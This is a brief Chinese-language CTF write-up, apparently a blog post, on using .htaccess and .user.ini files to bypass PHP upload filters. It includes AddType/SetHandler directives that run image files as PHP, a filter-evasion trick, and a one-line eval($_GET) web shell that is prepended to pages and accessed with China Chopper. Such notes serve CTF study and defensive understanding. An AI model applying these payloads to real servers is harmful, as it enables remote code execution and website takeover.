htaccess
htaccess
文件(分布式配置文件,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
设置初始页面
错误重定向&重定向
设置文件访问权限
1
2
3
4<Files 1.php>
order allow,deny
deny from all
</Files>
开启htaccess
1 | apache 配置文件里httpd.conf文件找到 |
针对一些黑名单的限制,php文件无法上传或者无法被解析,
1 | AppType application/x-httpd-php .jpg |
X-NUCA ezphp
1 | <?php |
文件只能传一个
开始一直500,差点放弃htaccess
,后来发现可能是后面拼接的那个字符串不符合htaccess文件的编写规则,
使用反斜杠换行符将其和注释拼接在一起
最后面加一行
1 | #fuck\ |
同样利用\绕过那些敏感字符,
1 | <FilesMatch “a”> SetHandler application/x-httpd-php </FilesMatch> |
.user.ini
除了主php.ini
之外,PHP
还会在每个目录下扫描INI
文件,从被执行的PHP
文件所在目录开始一直上升到 web 根目录
1 | auto_prepend_file=12.jpg |
SUCTF CheckIn
先上传一个图片文件,留下文件头
加上一句话木马
1 | <script language="php">eval($_GET[h]);</script> |
绕过了<?
的限制
后上传.user.ini
文件
1 | auto_prepend_file=12.jpg |
包含该文件
1 | 之后phpinfo测试可行 |
菜刀连接拿到flag